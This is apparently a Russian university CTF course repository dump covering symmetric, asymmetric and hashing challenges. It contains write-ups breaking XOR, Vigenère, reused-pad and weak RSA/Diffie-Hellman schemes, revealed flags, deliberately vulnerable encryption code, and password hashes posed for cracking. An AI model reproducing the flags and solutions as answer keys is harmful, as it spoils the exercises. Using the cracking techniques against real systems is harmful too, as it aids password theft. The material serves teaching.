88 | 'Uif_Rvjdl_Cspxo_Gpy_Kvnqt_Pwfs_Uif_Mbaz_Eph'
89 | 'Vjg_Swkem_Dtqyp_Hqz_Lworu_Qxgt_Vjg_Ncba_Fqi'
90 | ```
91 |
92 | В глаза сразу бросается строка 'The_Quick_Brown_Fox_Jumps_Over_The_Lazy_Dog', она и является флагом.
93 |
94 | ## start
95 |
96 | Если внимательно прочитать исходный код программы, которая использовалась для шифрования, то можно заметить, что текст шифруется только с помощью первого символа ключа 'key'.
97 |
98 | Напишем программу, которая дешифрует текст с помощью каждой из букв английского алфавита.
99 |
100 | ```
101 | $ python
102 | >>> f = open('start.dat', 'r')
103 | >>> a = f.read()
104 | >>> f.close()
105 | >>> import string
106 | >>> for c in string.lowercase:
107 | ... ''.join(map(lambda x: chr(ord(x) ^ ord(c)), a))
108 | ...
109 | 'Vc"%eNbEpce0'
110 | 'U`!&fMaFs`f3'
111 | "Ta 'gL`Grag2"
112 | "Sf' `Kg@uf`5"
113 | 'Rg&!aJfAtga4'
114 | 'Qd%"bIeBwdb7'
115 | 'Pe$#cHdCvec6'
116 | '_j+,lGkLyjl9'
117 | '^k*-mFjMxkm8'
118 | ']h).nEiN{hn;'
119 | '\\i(/oDhOzio:'
120 | '[n/(hCoH}nh='
121 | 'Zo.)iBnI|oi<'
122 | 'Yl-*jAmJ\x7flj?'
123 | 'Xm,+k@lK~mk>'
124 | 'Gr34t_sTart!'
125 | 'Fs25u^rU`su '
126 | 'Ep16v]qVcpv#'
127 | 'Dq07w\\pWbqw"'
128 | 'Cv70p[wPevp%'
129 | 'Bw61qZvQdwq$'
130 | "At52rYuRgtr'"
131 | '@u43sXtSfus&'
132 | 'Oz;<|W{\\iz|)'
133 | 'N{:=}Vz]h{}('
134 | 'Mx9>~Uy^kx~+'
135 | ```
136 |
137 | После внимательного просматривания всех этих строк, можно заметить строку 'Gr34t_sTart!', которая и является флагом.
138 |
139 | ## analyze
140 |
141 | В условии задачи дается зашифрованный текст.
142 | Предполагая, что он был зашифрован с помощью шифра простой замены, попробуем расшифровать его с помощью частотного анализа.
143 |
144 | Вместо того, чтобы самим писать программу для осуществления частотного анализа, попробуем воспользоваться готовым автоматическим решением (http://quipqiup.com/).
145 | Скопируем какой-нибудь осмысленный и достаточно длинный фрагмент текста, нажмем 'Solve' и получим расшифрованный текст.
146 |
147 | Если поискать в интернете по фрагменту этого текста, то сразу найдется его автор, William Shakespeare.
148 |
149 | ## vigenere
150 |
151 | В этой задачке текст зашифрован с помощью шифра Виженера. Способ шифрования немного отличается от того, что был рассмотрен на лекции. Вместо сложения букв по модулю 26 (количество букв в алфавите), здеcь происходит сложение ASCII кодов символов по модулю 256. Сути это не меняет, но взглянуть на зашифрованный текст глазами становится сложнее.
152 |
153 | Посчитаем индекс совпадений для различных длин ключей.
154 |
155 | ``` python
156 | def freq(data):
157 | f = {}
158 | for s in data:
159 | f[s] = f.get(s, 0) + 1
160 | return f
161 |
162 | def coin(data):
163 | f = freq(data)
164 | n = len(data)
165 | c = 0.0
166 | for s in f:
167 | c += 1.0 * f[s] * (f[s] - 1) / n / (n - 1)
168 | return c
169 |
170 | with open('vigenere.dat') as f:
171 | data = f.read()
172 |
173 | for l in xrange(1, 20):
174 | print l, coin(data[::l])
175 | ```
176 |
177 | Получим:
178 |
179 | ```
180 | 1 0.0283571391406
181 | 2 0.0283277761141
182 | 3 0.0283139576968
183 | 4 0.0284178783622
184 | 5 0.0284635187399
185 | 6 0.0282429568156
186 | 7 0.0543834340567
187 | 8 0.0284294318137
188 | 9 0.0277725390559
189 | 10 0.0276125790871
190 | 11 0.0288800996118
191 | 12 0.0291950492524
192 | 13 0.0287512517781
193 | 14 0.0537284649655
194 | 15 0.0282146662234
195 | 16 0.0282739763272
196 | 17 0.0278536601769
197 | 18 0.0274078699493
198 | 19 0.0276450359895
199 | ```
200 |
201 | Видно, что индекс совпадений имеет высокое значение для длин ключа 7 и 14 (если будем смотреть и на более длинные ключи, индекс совпадений скорее всего будет высоким для всех длин кратных 7).
202 |
203 | Предположим, что длина ключа равна 7.
204 | Попробуем применить частотный анализ для поиска самого ключа.
205 |
206 | Каждый 7-й символ текста был зашифрован с помощью одного и того же символа ключа.
207 | Если вырезать каждый 7-й символ, составить из них текст и посчитать наиболее часто встречающийся там символ, то скорее всего будет зашифрованным символом 'e' (самая часто встречающаяся буква в английском языке).
208 | Теперь можно перебрать все 256 различных возможных значений символа ключа, чтобы понять, какой именно из них был использован для шифрования.
209 | Тот же самый процесс можно повторить для всех символов ключа.
210 |
211 | ``` python
212 | l = 7
213 |
214 | for i in xrange(l):
215 | f = freq(data[i::l])
216 | s = f.keys()
217 | s.sort(key=lambda x: f[x], reverse=True)
218 | s = s[0]
219 |
220 | for x in xrange(0, 256):
221 | if (ord(s) - x) % 256 == ord('e'):
222 | print x, chr(x)
223 | ```
224 |
225 | Получим:
226 | ```
227 | 108 l
228 | 105 i
229 | 99 c
230 | 101 e
231 | 110 n
232 | 115 s
233 | 101 e
234 | ```
235 |
236 | Получился ключ 'license' (ура, осмысленное слово!), который можно использовать для расшифровки зашифрованного текста.
237 |
238 | ## pad
239 |
240 | В этой задачке необходимо взломать "многоразовый" одноразовый блокнот.
241 | Даны несколько шифротекстов, которые шифровались с помощью `xor`а с одним и тем же ключом.
242 |
243 | Давайте по`xor`им посимвольно все шифротексты с первым.
244 | В результате получим:
245 | ```
246 | _____________________________________________________________________________________________________
247 | _?Es???_???MK???RI?E?_??L?N?E??????__?A???I?E??EA?????_A??_???_???T???U??T?R??T???????R?_H??_??_T???B
248 | ???_?????R???E??I??_????L_O?E?????DP?_S???YB???W??C????EO?U???I??_T???HO?OC???_??R????S_?ET?OI_?EP???
249 | ?__Nc???B?__??R?_??N?????U_????????GMSS???K???TA??C???_I??_??__???????N?J_???P???????YC??_??S?T?EP???
250 | ?H?I???_B?_??E??L?SN??_?L?OR???????N_?_???A????_??C????S?FT??ER?????R?NO?N???_?????????U?N?OT???E????
251 | ____???_B?_??????I?TW?????I??G_R???M_?DT??N?E??T??????X_??A???????????T??b?????????P??L??T??I??SA??B?
252 | ???E?O????E??_R?O??P??D??Yr??????E?M??R?H?H?E??I???????_??ST??M??S?_??K_?_??????????H?F??Ra??t???????
253 | ```
254 | где `_` соответствует символу с кодом `0`, а `?` соответствует любому символу, не являющемся буквой английского алфавита или символом с кодом `0`.
255 |
256 | Заметим, что если бы мы `xor`или открытые тексты, а не зашифрованные, то получили бы тот же самый результат, поскольку:
257 | ```
258 | C1[i] ^ C2[i] ==
259 | == (P1[i] ^ Key[i]) ^ (P2[i] ^ Key[i]) ==
260 | == (P1[i] ^ P2[i]) ^ (Key[i] ^ Key[i]) ==
261 | == P1[i] ^ P2[i]
262 | ```
263 |
264 | Кроме того, заметим, что для любого символа английского алфавита `a`:
265 | ```
266 | >>> chr(ord(' ') ^ ord('a')) == 'A'
267 | True
268 | >>> chr(ord(' ') ^ ord('A')) == 'a'
269 | True
270 | >>> ord(' ') ^ ord(' ') == 0
271 | True
272 | ```
273 |
274 | А значит, если `i`ый символ первого текста был пробелом,
275 | то `i`ые символы по`xor`енных текстов будут либо иметь код `0`,
276 | либо являться буквой английского алфавита (большой или маленькой).
277 | Представим по`xor`енные тексты записанные друг под другом как таблицу.
278 | Найдя все столбцы, в которых каждый символ либо имеет код `0` либо является буквой,
279 | можно понять где в первом тексте стоят пробелы и определить,
280 | что за символы стоят в других текстах на этих же местах.
281 |
282 | В результате получим:
283 | ```
284 | ___ _______________ ______ ________ __ ___ ____ _______ __ ___________ __ _______________ ___________
285 | ___S_______________e______n________ __a___i____e_______a__ ___________u__t_______________h___________
286 | ___ _______________ ______o________p__s___y____w_______e__u___________h__o_______________e___________
287 | ___n_______________n______ ________g__s___k____a_______i__ ___________n__ _______________ ___________
288 | ___i_______________n______o________n__ ___a____ _______s__t___________n__n_______________n___________
289 | ___ _______________t______i________m__d___n____t_______ __a___________t__B_______________t___________
290 | ___e_______________p______R________m__r___h____i_______ __s___________k__ _______________r___________
291 | ```
292 |
293 | Повторим эту операцию для остальных текстов кроме первого, получим:
294 | ```
295 | _he Co__bre_ker__is w_d_l_ reg_r_ed _s th_ be_t a_c____ of t_e____t_r_ __ cr_____r_phy_u_ _______p___
296 | _o Sch__ier_ pe__ rev_e_ _nd e_p_rt _naly_is _re _m____ant f_r____ _e_u__ty _____y_tog_a_h_______e___
297 | _ou mi__t n_t t__nk t_a_ _ou c_u_d p_ssib_y a_swe_ ____e que_t____ _i_h__o l_____ _xpo_u_e_______ ___
298 | _hen y__ le_rn __lang_a_e_ lis_e_ing_ spe_kin_ an_ ____ing a_e____o_t_n__ bu_____d_ng _a_ _______ ___
299 | _ simp__ te_t f__e ne_d_ _o ad_i_ion_l me_ada_a t_ ____st th_ ____e_ _n__nte_____a_ion_ _n_______f___
300 | _he fr__ ve_sio__ It _o_t_ins _ _omm_nd l_ne _nte_f____ flag_r____c_y_t__BiN_____R_ ep_o_t_______n___
301 | _ater __th _he __laps_ _f_Russ_a_ Em_ire _he _niv_r____ was _a____D_n_k__ Un_____i_y a_t_r_______y___
302 | ```
303 |
304 | Далее, угадывая недостающие буквы в каком-нибудь из текстов, и вычисляя буквы остальных, получим:
305 | ```
306 | The Codebreakers is widely regarded as the best account of the history of cryptography up _______p___
307 | To Schneier, peer review and expert analysis are important for the security of cryptograph_______e___
308 | You might not think that you could possibly answer these questions with so little exposure_______ ___
309 | When you learn a language, listening, speaking and writing are important, but reading can _______ ___
310 | A simple text file needs no additional metadata to assist the reader in interpretation, an_______f___
311 | The free version. It contains a command line interface, flag{r34l_crypt0_BiNg0_XOR} eploit_______n___
312 | Later with the colapse of Russian Empire the university was named Donskoy University after_______y___
313 | ```
314 |
315 | ## mary
316 |
317 | Смотреть [здесь](https://github.com/ctfs/write-ups-2014/tree/master/ructf-2014-quals/crypto-200).
318 |
--------------------------------------------------------------------------------
/02-crypto/01-symmetric/slides.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xairy/mipt-ctf/3b689385aca0c9e22bc5f950008e830b7358e28d/02-crypto/01-symmetric/slides.pdf
--------------------------------------------------------------------------------
/02-crypto/01-symmetric/tasks/start.dat:
--------------------------------------------------------------------------------
1 | 7CD/$Q
--------------------------------------------------------------------------------
/02-crypto/01-symmetric/tasks/start.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 |
3 | def encrypt(data, key):
4 | return bytes([octet ^ key for octet in data])
5 |
6 |
7 | print('Enter a key: ')
8 | key = input()
9 | key = ord(key[0])
10 | print('Enter a message: ')
11 | message = input().strip().encode('ascii') # convert from str to bytes
12 |
13 | encrypted = encrypt(message, key)
14 |
15 | fout = open('start.dat', 'wb')
16 | fout.write(encrypted)
17 | fout.close()
18 |
--------------------------------------------------------------------------------
/02-crypto/01-symmetric/tasks/vigenere.dat:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xairy/mipt-ctf/3b689385aca0c9e22bc5f950008e830b7358e28d/02-crypto/01-symmetric/tasks/vigenere.dat
--------------------------------------------------------------------------------
/02-crypto/01-symmetric/tasks/vigenere.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 |
3 |
4 | def encrypt(data, key):
5 | assert isinstance(data, bytes)
6 |
7 | output = []
8 | for i, char in enumerate(data):
9 | tmp = (char + key[i % KEY_LEN]) % 256
10 | print(char, key[i % KEY_LEN], tmp)
11 | output.append(tmp)
12 |
13 | return bytes(output)
14 |
15 |
16 | key = input('Enter key: ')
17 | key = key.encode('ascii')
18 | KEY_LEN = len(key)
19 |
20 | print(KEY_LEN)
21 |
22 | data = open('source.txt', 'rb').read().replace(b' ', b'')
23 |
24 | with open('vigenere.dat', 'wb') as fout:
25 | fout.write(encrypt(data, key))
26 |
--------------------------------------------------------------------------------
/02-crypto/02-asymmetric/README.md:
--------------------------------------------------------------------------------
1 | Асимметричное шифрование
2 | ========================
3 |
4 | ## Лекция
5 |
6 | [Презентация](https://github.com/xairy/mipt-ctf/tree/master/02-crypto/02-asymmetric/slides.pdf)
7 |
8 | [Скринкаст](https://www.youtube.com/watch?v=RMxNdhRxQk4)
9 |
10 |
11 | ## Задачи
12 |
13 | Задачи взяты [отсюда](https://github.com/vpavlenko/ctf-crypto-tasks) и с [picoCTF 2014](https://picoctf.com/).
14 |
15 | ### rsa
16 |
17 | A Daedalus Corp spy sent an RSA-encrypted message.
18 | We got their key data, but we're not very good at math.
19 | Can you decrypt it?
20 | [Here](https://picoctf.com/problem-static/crypto/RSA/handout.tgz)'s the data.
21 | Note that the flag is not a number but a number decoded as ASCII text.
22 |
23 | ### hexy
24 |
25 | ```
26 | {"c": 2151755227352155628689133334816, "e": 7, "n": 4698616511411820332781170272631, "hint_for_last_step": "hex"}
27 | ```
28 |
29 | ### fermat
30 |
31 | Моя веселая ФЕРМА.
32 |
33 | Играя в свою любимую игру, я наткнулся на данные ниже. Помогите разобраться с этим! Я хочу купить новый хвост для коровы.
34 |
35 | ```
36 | {
37 | "n":55730048063717018374316281207573259125944928596988375563008761242928555444475159973323697033529485947694144334157841984089222608221659443869403243311377775287940043976050079897679344195429140671152006335092107296007295641129810127120597697958505609557108821553087048650668127879505133240481364133955404508724801433652620134539765901833015644832323224073360418288546329260222548709056388931692867087156683666545959017505300012887342748040633895056662119255382438961050252741419077501234468618586586761527436899702065013210399451488547753808782146177428317609036251342347553017178247158741715583011215815698806579497027,
38 | "e":65537,
39 | "enc_data":25234514147851501650928728210405740434891970671488428405196440434538180451319426356822060051035053769070087646943825115802785624107829588035763512660763770355863470442359006751937231446693677756587159506517057107545904847781133985450962418304405156723626987851757046221296000186129919558271304842917074255645894198513219579694940888303668954853572211412406774298397963087228995608199961416160365961933944487096937024121738220372895375686782970385612792024930159117151472088279156003279742341584430863692287750584160827079689586790181031407137862737274577936446435723045268025310178271959285118689249074803904304795181
40 | }
41 | ```
42 |
43 | ### prime
44 |
45 | ```
46 | Алиса и Боб сидят в чате.
47 |
48 | Алиса: Боб, давай я тебе скажу кое-что секретное?
49 | Боб: Алиса, окей. Только все остальные же узнают, если ты прямо здесь это напишешь.
50 | Алиса: Давай использовать Диффи-Хеллмана для генерации секретного ключа. Я зашифрую на нём сообщение алгоритмом Rijndael-256 в режиме CBC. Расшифруешь вот тут: http://www.tools4noobs.com/online_tools/decrypt/
51 | Боб: Окей.
52 | Алиса: g = 5, g ** a = 3552713678800500929355621337890625.
53 | Боб: g ** b = 100974195868289511092701256356196637398170423693954944610595703125.
54 | Алиса: Зашифровала: 0M2lm0nZFN4kWuagdb6Azsk1fPs9O1P+AA2N6BMdRnKXMVoOlCcfvhlz2jIdbKzZZOuDc9Q+KYtnb5FjrKlj5A==
55 | Боб: А нам точно не нужен простой модуль p?
56 | ```
57 |
58 | ### short
59 |
60 | ```
61 | Боб: Боюсь, предыдущее сообщение легко расшифровали. Давай заново, и теперь с простым модулем. Смотри не накосячь!
62 | Алиса: Постараюсь. g = 5, p = 19208302915743920857294037403209473409509, pow(g, a, p) = 10986351755751103712777758371696540996168
63 | Боб: pow(g, b, p) = 4737807098550297950358929203191827188641
64 | Алиса: Gq7qV1a7aHWQLa5GA43W8Qi4D23LbRI9xlNeDt/Cdra0nV+HcUyUPs1SGJvoNmGsmV90UC9gLI8fmnOqpj4WXA==
65 | ```
66 |
67 | ### broken\*\*
68 |
69 | [This RSA service](https://github.com/xairy/mipt-ctf/tree/master/02-crypto/02-asymmetric/broken_rsa_source.py) seems to be broken.
70 | They encrypt the flag and send it to you each time... but they throw out the private key and you never get to see it.
71 | Any ideas on how to recover the flag?
72 |
73 | Connect from the shell with 'nc vuln.picoctf.com 6666'.
74 |
75 | ### mistakes\*\*
76 |
77 | Daedalus Corp seems to have had a very weird way of broadcasting some secret data.
78 | We managed to find [the server code that broadcasted it, and one of our routers caught some of their traffic](https://picoctf.com/problem-static/crypto/rsa-mistakes/handout.zip) - can you find the secret data?
79 | We think someone may have requested the secret using someone else's user id by accident, but we're not sure.
80 |
81 |
82 | ## Флаги
83 |
84 | Отправлять флаги на сервер таким образом:
85 | ```
86 | $ nc andreyknvl.com 9995
87 | username taskname 73c0487d1b4c9326bc4ec5ac09bf69eb
88 | ```
89 | где username - имя для таблицы результатов, а taskname - название задачи.
90 |
91 | Доступна [таблица результатов](https://andreyknvl.com/mipt-ctf).
92 |
93 |
94 | ## Разбор задач.
95 |
96 | [Разбор задач](https://github.com/xairy/mipt-ctf/blob/master/02-crypto/02-asymmetric/WRITEUP.md)
97 |
98 |
99 | ## Материалы
100 |
101 | [Wikipedia: Diffie-Hellman key exchange](https://en.wikipedia.org/wiki/Diffie%E2%80%93Hellman_key_exchange)
102 |
103 | [Weak Diffie-Hellman and the Logjam Attack](https://weakdh.org/)
104 |
105 | [Wikipedia: RSA](https://en.wikipedia.org/wiki/RSA_(cryptosystem))
106 |
107 | [Wikipedia: HTTPS](https://en.wikipedia.org/wiki/HTTPS)
108 |
109 | [How does HTTPS actually work?](http://robertheaton.com/2014/03/27/how-does-https-actually-work/)
110 |
111 | [SSL/TLS & Perfect Forward Secrecy](http://vincent.bernat.im/en/blog/2011-ssl-perfect-forward-secrecy.html)
112 |
113 |
114 | ## Всякое
115 |
116 | [АНБ скомпрометировало протокол Диффи-Хеллмана?](https://geektimes.ru/post/264040/)
117 |
--------------------------------------------------------------------------------
/02-crypto/02-asymmetric/WRITEUP.md:
--------------------------------------------------------------------------------
1 | Разбор [задачек по криптографии](https://github.com/xairy/mipt-ctf/tree/master/02-crypto/02-asymmetric).
2 |
3 | ## rsa
4 |
5 | В этой задачке нужно расшифровать сообщение, зашифрованное с помощью RSA.
6 | Делается это просто, в соответствии с [формулой](https://en.wikipedia.org/wiki/RSA_(cryptosystem)#Decryption).
7 |
8 | Поскольку числа большие, то возводить в степень, а потом уже брать модуль будет затратно.
9 | Однако в Питоне есть функция `pow()` которая умеет быстро возводить в степень по модулю.
10 |
11 | ``` python
12 | >>> c = 0x58ae101736022f486216e290d39e839e7d02a124f725865ed1b5eea7144a4c40828bd4d14dcea967561477a516ce338f293ca86efc72a272c332c5468ef43ed5d8062152aae9484a50051d71943cf4c3249d8c4b2f6c39680cc75e58125359edd2544e89f54d2e5cbed06bb3ed61e5ca7643ebb7fa04638aa0a0f23955e5b5d9
13 | >>> d = 0x496747c7dceae300e22d5c3fa7fd1242bda36af8bc280f7f5e630271a92cbcbeb7ae04132a00d5fc379274cbce8c353faa891b40d087d7a4559e829e513c97467345adca3aa66550a68889cf930ecdfde706445b3f110c0cb4a81ca66f8630ed003feea59a51dc1d18a7f6301f2817cb53b1fb58b2a5ad163e9f1f9fe463b901
14 | >>> n = 0xb197d3afe713816582ee988b276f635800f728f118f5125de1c7c1e57f2738351de8ac643c118a5480f867b6d8756021911818e470952bd0a5262ed86b4fc4c2b7962cd197a8bd8d8ae3f821ad712a42285db67c85983581c4c39f80dbb21bf700dbd2ae9709f7e307769b5c0e624b661441c1ddb62ef1fe7684bbe61d8a19e7
15 | >>> hex(pow(c, d, n))
16 | '0x436f6e67726174756c6174696f6e73206f6e2064656372797074696e6720616e20525341206d6573736167652120596f757220666c6167206973206d6f64756c61725f61726974686d65746963735f6e6f745f736f5f6261645f61667465725f616c6cL'
17 | >>> hex(pow(c, d, n))[2:-1]
18 | '436f6e67726174756c6174696f6e73206f6e2064656372797074696e6720616e20525341206d6573736167652120596f757220666c6167206973206d6f64756c61725f61726974686d65746963735f6e6f745f736f5f6261645f61667465725f616c6c'
19 | >>> hex(pow(c, d, n))[2:-1].decode('hex')
20 | 'Congratulations on decrypting an RSA message! Your flag is modular_arithmetics_not_so_bad_after_all'
21 | ```
22 |
23 | ## hexy
24 |
25 | В этой задачке тоже нужно расшифровать сообщение, однако нам неизвестно число `d`.
26 | Поскольку `d * e === 1 mod phi(n)`, то число `d` можно найти как обратное к `e` по модулю `phi(n)`, при условии, что мы знаем `phi(n)`.
27 |
28 | Для нахождения `phi(n)` число `n` надо разложить на простые множители.
29 | В этой задаче число `n` очень маленькое, поэтому разлодить его легко.
30 | Например можно воспользоваться [этим сервисом](http://www.numberempire.com/numberfactorizer.php).
31 | Получаем, что `p = 1239139183819289` и `q = 3791839183819279` и находим `phi(n) = (p - 1) * (q - 1)`.
32 |
33 | Осталось найти `d` воспользовавшись [расширенным алгоритмом Евклида](https://stackoverflow.com/questions/4798654/modular-multiplicative-inverse-function-in-python).
34 |
35 | ## fermat
36 |
37 | Эта задачка аналогична предыдущей, однако число `n` здесь значительно больше и факторизовать его в лоб не выйдет.
38 | Здесь нужно было догадаться воспользоваться [методом факторизации Ферма](https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D1%82%D0%BE%D0%B4_%D1%84%D0%B0%D0%BA%D1%82%D0%BE%D1%80%D0%B8%D0%B7%D0%B0%D1%86%D0%B8%D0%B8_%D0%A4%D0%B5%D1%80%D0%BC%D0%B0).
39 |
40 | ## prime
41 |
42 | В этой задачке Алиса и Боб попытались воспользоваться протоколом Диффи-Хеллмана, однако забыли использовать модуль и проводили все вычисления без него. В результате, вычислить их секретные экспоненты можно обычным логирифмированием.
43 |
44 | ``` python
45 | >>> g = 5
46 | >>> ga = 3552713678800500929355621337890625
47 | >>> gb = 100974195868289511092701256356196637398170423693954944610595703125
48 | >>> import math
49 | >>> math.log(ga, g)
50 | 48.00000000000001
51 | >>> math.log(gb, g)
52 | 93.0
53 | ```
54 |
55 | Осталось вычислить ключ и расшифровать сообщение по [ссылке](http://www.tools4noobs.com/online_tools/decrypt/).
56 |
57 | ``` python
58 | >>> key = (g ** 93) ** 48
59 | ```
60 |
61 | ## short
62 |
63 | Эта задачка похожа на предыдущую, но теперь простой модуль используется.
64 | Здесь надо было попробовать поперебирать значения `a` и `b`, продполагая что они не очень большие.
65 | В действительности:
66 |
67 | ``` python
68 | >>> g = 5
69 | >>> p = 19208302915743920857294037403209473409509
70 | >>> for a in xrange(1000 * 1000):
71 | ... if pow(g, a, p) == 10986351755751103712777758371696540996168:
72 | ... print a
73 | ...
74 | 320912
75 | ```
76 |
77 | Далее вычисляем ключ и расшифровываем сообщение.
78 |
79 | ## broken\*\*
80 |
81 | Смотреть [здесь](https://github.com/BatmansKitchen/ctf-writeups/tree/master/2013-picoctf/Broken_RSA).
82 |
83 | ## mistakes\*\*
84 |
85 | Смотреть [здесь](http://ehsandev.com/pico2014/cryptography/RSAMistake.html).
86 |
--------------------------------------------------------------------------------
/02-crypto/02-asymmetric/broken_rsa_source.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | import os
3 | from Crypto.PublicKey import RSA
4 | import SocketServer
5 | import threading
6 | import time
7 |
8 | flag = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
9 |
10 | class threadedserver(SocketServer.ThreadingMixIn, SocketServer.TCPServer):
11 | pass
12 |
13 | class incoming(SocketServer.BaseRequestHandler):
14 | def handle(self):
15 | cur_thread = threading.current_thread()
16 | welcome = """
17 | *******************************************
18 | *** Welcome to the ***
19 | *** FlAg EnCrYpTiOn SeRviCe 9000! ***
20 | *******************************************
21 |
22 | We encrypt the flags, you get the points!
23 | """
24 | self.request.send(welcome)
25 | rsa = RSA.generate(1024,os.urandom)
26 | n = getattr(rsa,'n')
27 |
28 | #no one will ever be able to solve our super challenge!
29 | self.request.send("To prove how secure our service is ")
30 | self.request.send("here is an encrypted flag:\n")
31 | self.request.send("==================================\n")
32 | self.request.send(hex(pow(int(flag.encode("hex"), 16),3,n)))
33 | self.request.send("\n==================================\n")
34 | self.request.send("Find the plaintext and we'll give you points\n\n")
35 |
36 | while True:
37 | self.request.send("\nNow enter a message you wish to encrypt: ")
38 | m = self.request.recv(1024)
39 | self.request.send("Your super unreadable ciphertext is:\n")
40 | self.request.send("==================================\n")
41 | self.request.send(hex(pow(int(m.encode("hex"), 16),3,n)))
42 | self.request.send("\n==================================\n")
43 |
44 | server = threadedserver(("0.0.0.0", 6666), incoming)
45 | server.timeout = 4
46 | server_thread = threading.Thread(target=server.serve_forever)
47 | server_thread.daemon = True
48 | server_thread.start()
49 |
50 | server_thread.join()
51 |
--------------------------------------------------------------------------------
/02-crypto/02-asymmetric/slides.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xairy/mipt-ctf/3b689385aca0c9e22bc5f950008e830b7358e28d/02-crypto/02-asymmetric/slides.pdf
--------------------------------------------------------------------------------
/02-crypto/03-hashing/README.md:
--------------------------------------------------------------------------------
1 | Хеширование
2 | ===========
3 |
4 | ## Лекция
5 |
6 | [Презентация](https://github.com/xairy/mipt-ctf/tree/master/02-crypto/03-hashing/slides.pdf)
7 |
8 | [Скринкаст](https://www.youtube.com/watch?v=DyrV8-xWHBs)
9 |
10 |
11 | ## Задачи
12 |
13 | Некоторые задачи взяты [отсюда](https://github.com/vpavlenko/ctf-crypto-tasks).
14 | Для решения некоторых задачек вам могут пригодиться [словарь английских слов](http://downloads.skullsecurity.org/passwords/english.txt.bz2) и [словарь rockyou](http://downloads.skullsecurity.org/passwords/rockyou.txt.bz2).
15 |
16 | ### year
17 |
18 | Гриша был зарегистрирован на одном сайте, базу паролей которого недавно взломали и выложили. Хэш его пароля: `3517c55f3ffdd3322ccbe12039e33758`. В каком году он родился?
19 |
20 | ### salt
21 |
22 | Пароль был захеширован последующей схеме:
23 |
24 | ```
25 | >>> salt = 'sI8dM1B9sWx'
26 | >>> password = '...'
27 | >>> print hashlib.sha256(salt + password).hexdigest()
28 | 0e5f530f5b00f812dd2aaa49bf023042cb13ca0582d301bae765d137214e6bcc
29 | ```
30 |
31 | Какой это был пароль?
32 |
33 | ### mac
34 |
35 | Сообщение подписывается ключом:
36 |
37 | ```
38 | >>> key = '...'
39 | >>> len(key)
40 | 15
41 | >>> message = 'Hello world!'
42 | >>> print hashlib.md5(key + message).hexdigest()
43 | d8cecce59ccd894493717de77ff328a0
44 | ```
45 |
46 | Подпишите ещё какое-нибудь сообщение тем же ключом. Пришлите его мне, и я выдам вам флаг.
47 |
48 | ### secret
49 |
50 | Пароль был захеширован по следующей схеме:
51 |
52 | ```
53 | >>> secret = 'PiIT7xSILB1he5ukuFU9HvtCbIh0Ae6vtS4RoIVY'
54 | >>> salt = '8ksr5VNMegrVOPCB'
55 | >>> password = '...'
56 | >>> print hashlib.md5(secret + password + salt).hexdigest()
57 | 1183da1ecc1b8f13ae7307a3f026ace2
58 | ```
59 |
60 | Какой это был пароль?
61 |
62 | ### rules\*
63 |
64 | Пароль был захеширован с помощью обычного MD5.
65 | Полученный хеш: `09c212ea86b841ed9a9fa80e09585b97`.
66 | Какой это был пароль?
67 |
68 | ### bcrypt\*
69 |
70 | Пароль был захеширован с помощью bcrypt.
71 | Полученный хеш: `$2a$10$9fVGdOnRm8mox7vRc9FUV..tVvLoKX2b5g56LBe84rSF3pqgUhGTW`.
72 | Какой это был пароль?
73 |
74 | ### gpu\*\*
75 |
76 | Пароль был захеширован по следующей схеме:
77 |
78 | ```
79 | >>> salt = '17732831'
80 | >>> password = '...'
81 | >>> print hashlib.md5(password + salt).hexdigest()
82 | 59b18904b1e912c10ee415934ad2bc0a
83 | ```
84 |
85 | Какой это был пароль?
86 |
87 | ### elf\*\*
88 |
89 | Создайте два исполняемых 32-битных ELF файла с совпадающим md5-хешем.
90 | Один из файлов должен выводить при запуске строку `MD5 is insecure`, а второй - `Use SHA-3 whatever that means`.
91 | Пришлите обе программы мне, и я выдам вам флаг.
92 |
93 | ## Флаги
94 |
95 | Отправлять флаги на сервер таким образом:
96 | ```
97 | $ nc andreyknvl.com 9994
98 | username taskname 73c0487d1b4c9326bc4ec5ac09bf69eb
99 | ```
100 | где username - имя для таблицы результатов, а taskname - название задачи.
101 |
102 | Доступна [таблица результатов](https://andreyknvl.com/mipt-ctf).
103 |
104 | ## Разбор задач.
105 |
106 | TODO
107 |
108 | ## Материалы
109 |
110 | [MD5](https://en.wikipedia.org/wiki/MD5)
111 |
112 | [SHA-1](https://en.wikipedia.org/wiki/SHA-1)
113 |
114 | [SHA-2](https://en.wikipedia.org/wiki/SHA-2)
115 |
116 | [SHA-3](https://en.wikipedia.org/wiki/SHA-3)
117 |
118 | [bcrypt](https://en.wikipedia.org/wiki/Bcrypt)
119 |
120 | [Message authentication code (MAC)](https://en.wikipedia.org/wiki/Message_authentication_code)
121 |
122 | [Hash-based message authentication code (HMAC)](https://en.wikipedia.org/wiki/Hash-based_message_authentication_code)
123 |
124 | [Length extension attack](https://en.wikipedia.org/wiki/Length_extension_attack)
125 |
126 | [Everything you need to know about hash length extension attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
127 |
128 | [Hash Extender by Ron Bowes](https://github.com/iagox86/hash_extender)
129 |
130 | [Why do we append the length of the message in SHA-1 pre-processing?](https://crypto.stackexchange.com/questions/8/why-do-we-append-the-length-of-the-message-in-sha-1-pre-processing)
131 |
132 | [MD5 Collision Demo](http://www.mathstat.dal.ca/~selinger/md5collision/)
133 |
134 | [Why You Shouldn't be using SHA1 or MD5 to Store Passwords](https://www.bentasker.co.uk/blog/security/201-why-you-should-be-asking-how-your-passwords-are-stored)
135 |
136 | [How To Safely Store A Password](https://codahale.com/how-to-safely-store-a-password/)
137 |
138 | [Rainbow table](https://en.wikipedia.org/wiki/Rainbow_table)
139 |
140 | [The Rainbow Table Is Dead](http://blog.ircmaxell.com/2011/08/rainbow-table-is-dead.html)
141 |
142 | [Cracking Story – How I Cracked Over 122 Million SHA1 and MD5 Hashed Passwords](http://blog.thireus.com/cracking-story-how-i-cracked-over-122-million-sha1-and-md5-hashed-passwords)
143 |
--------------------------------------------------------------------------------
